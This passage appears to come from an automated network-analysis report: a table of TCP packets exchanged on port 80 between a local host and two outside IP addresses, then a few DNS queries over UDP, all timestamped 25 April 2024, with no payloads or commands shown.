Apr 25, 2024 10:37:31.474162102 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474164009 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474199057 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474237919 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474239111 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474260092 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474277973 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474315882 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474317074 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474335909 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474358082 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474365950 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474396944 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474400997 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474433899 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474463940 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474473000 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474483967 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474510908 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474549055 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474565983 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474590063 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474595070 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474628925 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474642992 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474668980 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474689007 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474706888 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474711895 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474745035 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.474756002 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.474796057 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682598114 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682662010 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682703018 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682742119 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682785034 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682827950 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682868958 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682878017 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682878017 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682878017 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682878017 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682907104 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682945967 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.682959080 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682959080 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682990074 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.682990074 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683007002 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683046103 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683058023 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683089018 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683131933 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683170080 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683207989 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683248043 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683286905 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683306932 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683306932 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683306932 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683306932 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683306932 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683306932 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683329105 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683367014 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683388948 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683403969 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683444023 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683465958 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683466911 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683482885 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683487892 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683521986 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683536053 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683559895 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683578014 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683598042 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683600903 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683636904 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683672905 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683684111 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683684111 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683711052 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683720112 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683749914 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683760881 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683788061 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683793068 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683825970 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683856010 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683864117 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683901072 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683906078 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683906078 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683939934 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683955908 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.683978081 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.683980942 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684015989 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684040070 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684055090 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684058905 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684096098 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684134960 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684155941 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684190989 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684190989 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684194088 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684231997 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684248924 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684269905 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684298992 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684309959 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684317112 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684351921 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684360981 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684391975 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684431076 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684448004 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684470892 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684509039 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684520006 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684549093 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684565067 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684587955 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684609890 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684628963 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684644938 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684669018 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684686899 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684710979 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684716940 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684750080 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684767962 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684791088 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684792042 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684828997 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684840918 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684871912 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684895992 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684910059 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684948921 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.684958935 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684958935 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.684987068 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685024023 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685029984 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685029984 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685065985 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685081005 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685102940 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685103893 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685142994 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685156107 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685180902 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685194969 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685216904 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685219049 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685257912 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685271025 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685296059 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685336113 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685338020 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685358047 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685375929 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685381889 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685414076 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685426950 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685451984 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685466051 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685489893 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685501099 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685528994 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685569048 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685581923 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685606956 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685620070 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685645103 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685668945 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685683012 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685694933 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685720921 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685734034 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685760021 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.685770988 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.685811043 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.894809961 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.894881964 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.894922972 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.894963026 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.894977093 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.894977093 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895005941 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895046949 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895059109 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895059109 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895087004 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895095110 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895126104 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895136118 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895164967 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895203114 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895215988 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895241976 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895278931 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895293951 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895319939 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895323992 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895359039 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895391941 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895395994 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895411968 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895435095 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895436049 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895473003 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895489931 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895512104 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895533085 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895550013 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895555973 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895587921 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895626068 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895644903 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895663977 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895669937 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895704031 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895725012 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895741940 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895745039 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895780087 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895797014 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895817995 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895831108 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895917892 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895932913 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895960093 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.895968914 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.895997047 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896009922 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896035910 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896050930 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896074057 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896089077 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896128893 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896141052 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896182060 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896195889 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896224022 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896236897 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896262884 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896275997 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896300077 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896313906 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896339893 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896354914 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896379948 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896394968 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896418095 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896424055 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896456957 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896471977 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896512985 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896620989 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896660089 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896684885 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896698952 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896703959 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896739960 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896763086 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896778107 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896786928 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896816015 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.896832943 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.896868944 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897053957 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897094011 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897115946 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897134066 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897140980 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897178888 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897187948 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897217035 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897232056 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897262096 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897291899 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897331953 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897346020 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897373915 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897382975 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897413015 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897427082 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897452116 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897489071 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897504091 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897527933 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897567034 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897582054 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897605896 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897618055 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897644997 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897660017 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897684097 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897711039 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897722960 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897732019 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897763014 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:31.897804976 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:31.897825003 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:37:34.720933914 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:36.684452057 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:37:36.687344074 CEST	49737	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:38:06.684828997 CEST	80	49737	87.121.105.163	192.168.2.4
Apr 25, 2024 10:38:14.899446964 CEST	49739	80	192.168.2.4	47.91.88.207
Apr 25, 2024 10:38:15.108683109 CEST	80	49739	47.91.88.207	192.168.2.4
Apr 25, 2024 10:38:15.110101938 CEST	49739	80	192.168.2.4	47.91.88.207
Apr 25, 2024 10:38:15.481769085 CEST	49739	80	192.168.2.4	47.91.88.207
Apr 25, 2024 10:38:15.691349030 CEST	80	49739	47.91.88.207	192.168.2.4
Apr 25, 2024 10:38:15.708785057 CEST	80	49739	47.91.88.207	192.168.2.4
Apr 25, 2024 10:38:15.708825111 CEST	80	49739	47.91.88.207	192.168.2.4
Apr 25, 2024 10:38:15.708954096 CEST	49739	80	192.168.2.4	47.91.88.207
Apr 25, 2024 10:38:15.709777117 CEST	49739	80	192.168.2.4	47.91.88.207
Apr 25, 2024 10:38:15.918915987 CEST	80	49739	47.91.88.207	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 10:38:14.498315096 CEST	55133	53	192.168.2.4	1.1.1.1
Apr 25, 2024 10:38:14.622467995 CEST	53	55133	1.1.1.1	192.168.2.4
Apr 25, 2024 10:38:30.754545927 CEST	60704	53	192.168.2.4	1.1.1.1
Apr 25, 2024 10:38:30.892724991 CEST	53	60704	1.1.1.1	192.168.2.4
Apr 25, 2024 10:38:42.954103947 CEST	58478	53	192.168.2.4	1.1.1.1
Apr 25, 2024 10:38:43.078013897 CEST	53	58478	1.1.1.1	192.168.2.4
Apr 25, 2024 10:38:50.178637981 CEST	56930	53	192.168.2.4	1.1.1.1
Apr 25, 2024 10:38:50.308342934 CEST	53	56930	1.1.1.1	192.168.2.4
Apr 25, 2024 10:38:54.239861012 CEST	54805	53	192.168.2.4	1.1.1.1
